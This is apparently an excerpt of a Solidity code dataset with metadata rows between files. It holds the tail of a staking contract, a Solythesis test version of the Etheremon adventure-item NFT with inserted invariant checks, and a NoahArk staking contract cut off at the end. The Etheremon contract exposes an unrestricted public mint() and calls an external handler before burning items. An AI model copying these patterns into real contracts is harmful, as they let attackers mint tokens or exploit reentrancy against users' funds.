updatePool(_pid);
uint256 pending = user.amount.mul(pool.accTokenPerShare).div(1e12).sub(user.rewardDebt);
safeTokenTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12);
pool.lpToken.transfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY. withdraw LP tokens
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.transfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe pickle transfer function, just in case if rounding error causes pool to not have enough dex.
function safeTokenTransfer(address _to, uint256 _amount) internal {
uint256 pickleBal = rewardToken.balanceOf(address(this));
if (_amount > pickleBal) {
rewardToken.transfer(_to, pickleBal);
} else {
rewardToken.transfer(_to, _amount);
}
}
}
| 286,355 | 10,335 |
d8355d7bfc1664ba4ad0c3c773654e03e8a17f7cec94641ce47fa55d6a76a9ef
| 17,310 |
.sol
|
Solidity
| false |
179602259
|
aoli-al/Solythesis
|
88e91e5fb44201acdcc7d97e80fa8d4c9fcc620e
|
tests/emond_base.sol
| 5,610 | 17,212 |
pragma solidity ^0.5.0;
library SafeMath {
function mul (uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
{
return 0;
}
}
c = a * b;
assert(c / a == b);
{
return c;
}
}
function div (uint256 a, uint256 b) internal pure returns (uint256) {
{
return a / b;
}
}
function sub (uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
{
return a - b;
}
}
function add (uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
{
return c;
}
}
}
library AddressUtils {
function isContract (address addr) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(addr)
}
{
return size > 0;
}
}
}
interface ERC165 {
function supportsInterface (bytes4 _interfaceID) external view returns (bool);
}
contract SupportsInterface is ERC165 {
mapping (bytes4=>bool) internal supportedInterfaces;
constructor () public {
supportedInterfaces[0x01ffc9a7] = true;
}
function supportsInterface (bytes4 _interfaceID) external view returns (bool) {
{
return supportedInterfaces[_interfaceID];
}
}
}
contract ERC721 {
uint256 depth_0;
mapping (address=>bool) a_checker_3;
address[] a_store_4;
uint256 sum_tokenCount;
mapping (uint256=>bool) a_checker_7;
uint256[] a_store_8;
mapping (address=>bool) b_checker_5;
address[] b_store_6;
mapping (address=>uint256) sum_ownersToken;
mapping (address=>bool) a_checker_9;
address[] a_store_10;
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf (address _owner) external view returns (uint256);
function ownerOf (uint256 _tokenId) external view returns (address);
function safeTransferFrom (address _from, address _to, uint256 _tokenId, bytes calldata _data) external;
function safeTransferFrom (address _from, address _to, uint256 _tokenId) external;
function transferFrom (address _from, address _to, uint256 _tokenId) external;
function transfer (address _to, uint256 _tokenId) external;
function approve (address _approved, uint256 _tokenId) external;
function setApprovalForAll (address _operator, bool _approved) external;
function getApproved (uint256 _tokenId) external view returns (address);
function isApprovedForAll (address _owner, address _operator) external view returns (bool);
}
interface ERC721Enumerable {
function totalSupply () external view returns (uint256);
function tokenByIndex (uint256 _index) external view returns (uint256);
function tokenOfOwnerByIndex (address _owner, uint256 _index) external view returns (uint256);
}
interface ERC721Metadata {
function name () external view returns (string memory _name);
function symbol () external view returns (string memory _symbol);
function tokenURI (uint256 _tokenId) external view returns (string memory);
}
interface ERC721TokenReceiver {
function onERC721Received (address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4);
}
contract NFToken is ERC721, SupportsInterface {
uint256[] internal tokens;
using SafeMath for uint256;
using AddressUtils for address;
mapping (uint256=>address) internal idToOwner;
mapping (uint256=>address) internal idToApprovals;
mapping (address=>uint256) internal ownerToNFTokenCount;
mapping (address=>mapping (address=>bool)) internal ownerToOperators;
bytes4 constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
modifier canOperate(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender]);
_;
}
modifier canTransfer(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender || getApproved(_tokenId) == msg.sender || ownerToOperators[tokenOwner][msg.sender]);
_;
}
modifier validNFToken(uint256 _tokenId) {
require(idToOwner[_tokenId] != address(0));
_;
}
constructor () public {
supportedInterfaces[0x80ac58cd] = true;
}
function balanceOf (address _owner) external view returns (uint256) {
require(_owner != address(0));
{
return ownerToNFTokenCount[_owner];
}
}
function ownerOf (uint256 _tokenId) external view returns (address _owner) {
_owner = idToOwner[_tokenId];
require(_owner != address(0));
}
function safeTransferFrom (address _from, address _to, uint256 _tokenId, bytes calldata _data) external {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
function safeTransferFrom (address _from, address _to, uint256 _tokenId) external {
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom (address _from, address _to, uint256 _tokenId) canTransfer(_tokenId) validNFToken(_tokenId) external {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from);
require(_to != address(0));
_transfer(_to, _tokenId);
}
function transfer (address _to, uint256 _tokenId) canTransfer(_tokenId) validNFToken(_tokenId) external {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender);
require(_to != address(0));
_transfer(_to, _tokenId);
}
function approve (address _approved, uint256 _tokenId) canOperate(_tokenId) validNFToken(_tokenId) external {
address tokenOwner = idToOwner[_tokenId];
require(_approved != tokenOwner);
idToApprovals[_tokenId] = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
function setApprovalForAll (address _operator, bool _approved) external {
require(_operator != address(0));
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved (uint256 _tokenId) validNFToken(_tokenId) public view returns (address) {
{
return idToApprovals[_tokenId];
}
}
function isApprovedForAll (address _owner, address _operator) external view returns (bool) {
require(_owner != address(0));
require(_operator != address(0));
{
return ownerToOperators[_owner][_operator];
}
}
function _safeTransferFrom (address _from, address _to, uint256 _tokenId, bytes memory _data) canTransfer(_tokenId) validNFToken(_tokenId) internal {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from);
require(_to != address(0));
_transfer(_to, _tokenId);
if (_to.isContract()) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
require(retval == MAGIC_ON_ERC721_RECEIVED);
}
}
function _transfer (address _to, uint256 _tokenId) private {
address from = idToOwner[_tokenId];
clearApproval(_tokenId);
removeNFToken(from, _tokenId);
addNFToken(_to, _tokenId);
emit Transfer(from, _to, _tokenId);
}
function _mint (address _to, uint256 _tokenId) internal {
require(_to != address(0));
require(_tokenId != 0);
require(idToOwner[_tokenId] == address(0));
addNFToken(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn (address _owner, uint256 _tokenId) validNFToken(_tokenId) internal {
clearApproval(_tokenId);
removeNFToken(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval (uint256 _tokenId) private {
if (idToApprovals[_tokenId] != address(0)) {
delete idToApprovals[_tokenId];
}
}
function removeNFToken (address _from, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == _from);
assert(ownerToNFTokenCount[_from] > 0);
ownerToNFTokenCount[_from] = ownerToNFTokenCount[_from] - 1;if (! a_checker_3[_from]) {
a_store_4.push(_from);
a_checker_3[_from] = true;
}
if (! a_checker_9[_from]) {
a_store_10.push(_from);
a_checker_9[_from] = true;
}
delete idToOwner[_tokenId];
}
function addNFToken (address _to, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == address(0));
idToOwner[_tokenId] = _to;if (! a_checker_7[_tokenId]) {
a_store_8.push(_tokenId);
a_checker_7[_tokenId] = true;
}
if (! b_checker_5[idToOwner[_tokenId]]) {
b_store_6.push(idToOwner[_tokenId]);
b_checker_5[idToOwner[_tokenId]] = true;
}
ownerToNFTokenCount[_to] = ownerToNFTokenCount[_to].add(1);if (! a_checker_3[_to]) {
a_store_4.push(_to);
a_checker_3[_to] = true;
}
if (! a_checker_9[_to]) {
a_store_10.push(_to);
a_checker_9[_to] = true;
}
}
}
contract NFTokenEnumerable is NFToken, ERC721Enumerable {
mapping (uint256=>uint256) internal idToIndex;
mapping (address=>uint256[]) internal ownerToIds;
mapping (uint256=>uint256) internal idToOwnerIndex;
constructor () public {
supportedInterfaces[0x780e9d63] = true;
}
function _mint (address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
uint256 length = tokens.push(_tokenId);
idToIndex[_tokenId] = length - 1;
}
function _burn (address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
assert(tokens.length > 0);
uint256 tokenIndex = idToIndex[_tokenId];
assert(tokens[tokenIndex] == _tokenId);
uint256 lastTokenIndex = tokens.length - 1;
uint256 lastToken = tokens[lastTokenIndex];
tokens[tokenIndex] = lastToken;
tokens.length --;
idToIndex[lastToken] = tokenIndex;
idToIndex[_tokenId] = 0;
}
function removeNFToken (address _from, uint256 _tokenId) internal {
super.removeNFToken(_from, _tokenId);
assert(ownerToIds[_from].length > 0);
uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];
uint256 lastTokenIndex = ownerToIds[_from].length - 1;
uint256 lastToken = ownerToIds[_from][lastTokenIndex];
ownerToIds[_from][tokenToRemoveIndex] = lastToken;
ownerToIds[_from].length --;
idToOwnerIndex[lastToken] = tokenToRemoveIndex;
idToOwnerIndex[_tokenId] = 0;
}
function addNFToken (address _to, uint256 _tokenId) internal {
super.addNFToken(_to, _tokenId);
uint256 length = ownerToIds[_to].push(_tokenId);
idToOwnerIndex[_tokenId] = length - 1;
}
function totalSupply () external view returns (uint256) {
{
return tokens.length;
}
}
function tokenByIndex (uint256 _index) external view returns (uint256) {
require(_index < tokens.length);
assert(idToIndex[tokens[_index]] == _index);
{
return tokens[_index];
}
}
function tokenOfOwnerByIndex (address _owner, uint256 _index) external view returns (uint256) {
require(_index < ownerToIds[_owner].length);
{
return ownerToIds[_owner][_index];
}
}
}
contract NFTStandard is NFTokenEnumerable, ERC721Metadata {
string internal nftName;
string internal nftSymbol;
mapping (uint256=>string) internal idToUri;
constructor (string memory _name, string memory _symbol) public {
nftName = _name;
nftSymbol = _symbol;
supportedInterfaces[0x5b5e139f] = true;
}
function _burn (address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(idToUri[_tokenId]).length != 0) {
delete idToUri[_tokenId];
}
}
function _setTokenUri (uint256 _tokenId, string memory _uri) validNFToken(_tokenId) internal {
idToUri[_tokenId] = _uri;
}
function name () external view returns (string memory _name) {
_name = nftName;
}
function symbol () external view returns (string memory _symbol) {
_symbol = nftSymbol;
}
function tokenURI (uint256 _tokenId) validNFToken(_tokenId) external view returns (string memory) {
{
return idToUri[_tokenId];
}
}
}
contract BasicAccessControl {
address public owner;
uint16 public totalModerators = 0;
mapping (address=>bool) public moderators;
bool public isMaintaining = false;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner (address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator (address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator (address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining (bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
interface EtheremonAdventureHandler {
function handleSingleItem (address _sender, uint _classId, uint _value, uint _target, uint _param) external;
function handleMultipleItems (address _sender, uint _classId1, uint _classId2, uint _classId3, uint _target, uint _param) external;
}
contract EtheremonAdventureItem is NFTStandard("EtheremonAdventure", "EMOND"), BasicAccessControl {
uint public constant MAX_OWNER_PERS_SITE = 10;
uint public constant MAX_SITE_ID = 108;
uint public constant MAX_SITE_TOKEN_ID = 1080;
address public adventureHandler;
struct Item {
uint classId;
uint value;
}
constructor () public {
}
uint public totalItem = MAX_SITE_TOKEN_ID;
mapping (uint=>Item) public items;
modifier requireAdventureHandler {
require(adventureHandler != address(0));
_;
}
function setAdventureHandler (address _adventureHandler) onlyModerators external {
adventureHandler = _adventureHandler;
}
function setTokenURI (uint256 _tokenId, string calldata _uri) onlyModerators external {
_setTokenUri(_tokenId, _uri);
}
function mint (address _to, uint256 _tokenId) public {
depth_0 += 1;
_mint(_to, _tokenId);
depth_0 -= 1;
if (depth_0 == 0) {
{
{
sum_tokenCount = 0;
}
for (uint256 index_2 = 0; index_2 < a_store_4.length; index_2 += 1) {
sum_tokenCount += ownerToNFTokenCount[a_store_4[index_2]];
assert(sum_tokenCount >= ownerToNFTokenCount[a_store_4[index_2]]);
}
}
assert(sum_tokenCount == tokens.length);
{
for (uint256 index_3 = 0; index_3 < b_store_6.length; index_3 += 1) {
sum_ownersToken[b_store_6[index_3]] = 0;
}
for (uint256 index_4 = 0; index_4 < a_store_8.length; index_4 += 1) {
sum_ownersToken[idToOwner[a_store_8[index_4]]] += 1;
assert(sum_ownersToken[idToOwner[a_store_8[index_4]]] >= 1);
}
}
for (uint256 index_7 = 0; index_7 < a_store_10.length; index_7 += 1) {
assert(ownerToNFTokenCount[a_store_10[index_7]] == sum_ownersToken[a_store_10[index_7]]);
}
}
}
function spawnSite (uint _classId, uint _tokenId, address _owner) onlyModerators external {
if (_owner == address(0)) revert();
if (_classId > MAX_SITE_ID || _classId == 0 || _tokenId > MAX_SITE_TOKEN_ID || _tokenId == 0) revert();
Item storage item = items[_tokenId];
if (item.classId != 0) revert();
item.classId = _classId;
_mint(_owner, _tokenId);
}
function spawnItem (uint _classId, uint _value, address _owner) onlyModerators external returns(uint) {
if (_owner == address(0)) revert();
if (_classId <= MAX_SITE_ID) revert();
totalItem += 1;
Item storage item = items[totalItem];
item.classId = _classId;
item.value = _value;
_mint(_owner, totalItem);
{
return totalItem;
}
}
function useSingleItem (uint _tokenId, uint _target, uint _param) isActive requireAdventureHandler public {
depth_0 += 1;
if (_tokenId == 0 || idToOwner[_tokenId] != msg.sender) revert();
Item storage item = items[_tokenId];
EtheremonAdventureHandler handler = EtheremonAdventureHandler(adventureHandler);
handler.handleSingleItem(msg.sender, item.classId, item.value, _target, _param);
_burn(msg.sender, _tokenId);
depth_0 -= 1;
if (depth_0 == 0) {
{
{
sum_tokenCount = 0;
}
for (uint256 index_8 = 0; index_8 < a_store_4.length; index_8 += 1) {
sum_tokenCount += ownerToNFTokenCount[a_store_4[index_8]];
assert(sum_tokenCount >= ownerToNFTokenCount[a_store_4[index_8]]);
}
}
assert(sum_tokenCount == tokens.length);
for (uint256 index_11 = 0; index_11 < a_store_10.length; index_11 += 1) {
assert(ownerToNFTokenCount[a_store_10[index_11]] == sum_ownersToken[a_store_10[index_11]]);
}
}
}
function useMultipleItem (uint _token1, uint _token2, uint _token3, uint _target, uint _param) isActive requireAdventureHandler public {
depth_0 += 1;
if (_token1 > 0 && idToOwner[_token1] != msg.sender) revert();
if (_token2 > 0 && idToOwner[_token2] != msg.sender) revert();
if (_token3 > 0 && idToOwner[_token3] != msg.sender) revert();
Item storage item1 = items[_token1];
Item storage item2 = items[_token2];
Item storage item3 = items[_token3];
EtheremonAdventureHandler handler = EtheremonAdventureHandler(adventureHandler);
handler.handleMultipleItems(msg.sender, item1.classId, item2.classId, item3.classId, _target, _param);
if (_token1 > 0) _burn(msg.sender, _token1);
if (_token2 > 0) _burn(msg.sender, _token2);
if (_token3 > 0) _burn(msg.sender, _token3);
depth_0 -= 1;
if (depth_0 == 0) {
{
{
sum_tokenCount = 0;
}
for (uint256 index_12 = 0; index_12 < a_store_4.length; index_12 += 1) {
sum_tokenCount += ownerToNFTokenCount[a_store_4[index_12]];
assert(sum_tokenCount >= ownerToNFTokenCount[a_store_4[index_12]]);
}
}
assert(sum_tokenCount == tokens.length);
for (uint256 index_15 = 0; index_15 < a_store_10.length; index_15 += 1) {
assert(ownerToNFTokenCount[a_store_10[index_15]] == sum_ownersToken[a_store_10[index_15]]);
}
}
}
function getItemInfo (uint _tokenId) public view returns(uint classId, uint value) {
Item storage item = items[_tokenId];
classId = item.classId;
value = item.value;
}
}
| 2,849 | 10,336 |
6b2a705335c3e030842209274d2403a84e2660fc528617c35cd1de8eddbe0bab
| 27,797 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/31/3146eDbDF9FbD4A9e692582882F453019bE772Ed_NoahArkStaking.sol
| 4,506 | 17,927 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsNRK {
function rebase(uint256 nrkProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IDistributor {
function distribute() external returns (bool);
}
contract NoahArkStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable NRK;
address public immutable sNRK;
uint public openBlock;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
uint public warmupPeriod;
constructor (address _NRK,
address _sNRK,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_NRK != address(0));
NRK = _NRK;
require(_sNRK != address(0));
sNRK = _sNRK;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
uint stakeEpochNumber;
}
mapping(address => bool) public lock;
mapping(address => Claim) public warmupInfo;
event StakeEvent(uint _amount, address _recipient);
event StakeRecordEvent(uint _amount, uint _gons, uint _stakeEpochNumber, uint _expiry, address _recipient);
event UnStakeEvent(uint _amount, address _recipient);
function stake(uint _amount, address _recipient) external returns (bool) {
require(openBlock <= block.number, "Staking has not started yet.");
rebase();
IERC20(NRK).safeTransferFrom(msg.sender, address(this), _amount);
bool _lock = lock[ _recipient ];
require(!_lock, "Deposits for account are locked");
uint _gons = IsNRK(sNRK).gonsForBalance(_amount);
Claim memory info = warmupInfo[_recipient];
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsNRK(sNRK).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
stakeEpochNumber: epoch.number
});
IERC20(sNRK).safeTransfer(_recipient, _amount);
emit StakeEvent(_amount, _recipient);
emit StakeRecordEvent(_amount, _gons, epoch.number, epoch.number.add(warmupPeriod), _recipient);
return true;
}
function canClaim (address _recipient) public view returns (uint) {
Claim memory info = warmupInfo[ _recipient ];
uint _canClaim;
if (info.expiry <= epoch.number && info.expiry != 0) {
_canClaim = IsNRK(sNRK).balanceForGons(info.gons);
}
return _canClaim;
}
function toggleDepositLock() external {
lock[ msg.sender ] = !lock[ msg.sender ];
}
function settleWarmupInfo(address _user, uint _amount) external {
require(msg.sender == sNRK, 'access deny');
Claim storage claim = warmupInfo[ _user ];
uint _unstakeGons = IsNRK(sNRK).gonsForBalance(_amount);
require(claim.expiry <= epoch.number && claim.expiry != 0, 'The warmup periods has not expired.');
require(claim.gons >= _unstakeGons, 'snrk balance not enough');
claim.deposit = claim.deposit.sub(_amount);
claim.gons = claim.gons.sub(_unstakeGons);
if (claim.gons == 0) {
claim.expiry = 0;
claim.stakeEpochNumber = 0;
}
}
function changeWarmupInfo(address _user, uint _amount) external {
require(msg.sender == sNRK, 'access deny');
Claim memory tempClaim = warmupInfo[ _user ];
if(tempClaim.expiry != 0) {
Claim storage claim = warmupInfo[ _user ];
claim.gons = claim.gons.add(IsNRK(sNRK).gonsForBalance(_amount));
} else {
warmupInfo[ _user ] = Claim ({
deposit: tempClaim.deposit.add(_amount),
gons: tempClaim.gons.add(IsNRK(sNRK).gonsForBalance(_amount)),
expiry: epoch.number,
stakeEpochNumber: epoch.number
});
}
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sNRK).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(NRK).safeTransfer(msg.sender, _amount);
emit UnStakeEvent(_amount, msg.sender);
}
function index() public view returns (uint) {
return IsNRK(sNRK).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsNRK(sNRK).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsNRK(sNRK).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(NRK).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sNRK).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sNRK).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 1
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
